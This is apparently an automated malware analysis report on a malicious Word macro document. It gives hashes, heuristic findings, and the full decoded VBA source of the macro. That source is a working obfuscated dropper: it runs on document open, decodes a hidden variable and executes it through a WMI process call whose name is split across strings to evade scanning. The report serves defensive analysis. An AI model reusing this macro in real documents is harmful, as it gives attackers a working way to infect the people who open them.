Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5b597b034a4555b8…

MALICIOUS

Office (OOXML)

18.5 KB Created: 2020-08-04 04:30:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 13334d1d1f4bf9495ef9decd14269f11 SHA-1: 0fb41eca3bacdf9875818c6dde4a720b751f2f6b SHA-256: 5b597b034a4555b857365514af3ae299b0b20b66acb8ad6d674c467ec49e48cd
382 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is a malicious OOXML document containing a VBA macro. The macro is triggered by the Document_Open event and uses WMI (Win32_Process.Create) to execute commands. The heuristic firings indicate obfuscation techniques were used to hide the WMI call. This suggests the macro's purpose is to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Sagent-9376492-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-9376492-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3326 bytes
SHA-256: b7b634aa38a9adf4170b1b3b4471bd0f3ca1d2e470a2a8b70061762f2add2b39
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit





             






               







                                                            Private Sub CommuniCatively(ByVal ImItatIonal As String)






            






                                                    Dim Fictional As Long: Dim EpopEE() As Byte








                                                    GoTo UnderstUdy








             






Gonophore:







                                                            






                                                                        Heraklion StrConv(EpopEE, 64, 1055)





                                            Exit Sub






DenoteD:







                  






           For Fictional = 0 To UBound(EpopEE)
EpopEE(Fictional) = Abs(EpopEE(Fictional) - 4)








                                            Next








                                                            





                                                                GoTo Gonophore
Exit Sub
UnderstUdy:








               







             






                                                EpopEE = StrConv(ImItatIonal, 128, 1055)







                                        






                                                                        






                                                GoTo DenoteD








                                                            





               Exit Sub
End Sub
Sub Document_Open()







                                                    








          Call Foregather








                                                    End Sub
Private Sub Foregather()







            







                                                            Dim ImItatIonal As String: ImItatIonal = ActiveDocument.Variables("a5e17ad74984ed").Value






           CommuniCatively ImItatIonal
End Sub







             Private Sub Heraklion(ByVal Simianity As String)







             Dim Harassed As String: Harassed = "."








                  






                                                                        If Simianity <> "" Then








            GetObject("w" & "i" & "n" & "m" & "gm" & "t" & "s" & ":\\" & Harassed & "\ro" & "ot\ci" & "m" & "v2" & ":W" & "in3" & "2_P" & "r" & "oc" & "e" & "s" & "s").Create Simianity, Null, Null, 0






                                            Else






             MsgBox "Promted usr764 ."
GetObject("wi" & "n" & "m" & "g" & "mt" & "s:\\" & "." & "\ro" & "ot\ci" & "mv2" & ":W" & "in" & "3" & "2" & "_P" & "roc" & "e" & "ss").Create "calc.exe", Null, Null, 0





                                                    




          End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 68fc5cf8f20d80a6dc54503780d1f778ad15b2f3c4751d99d3b80cac3cb25d87
Detection
ClamAV: Doc.Downloader.Sagent-9376492-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.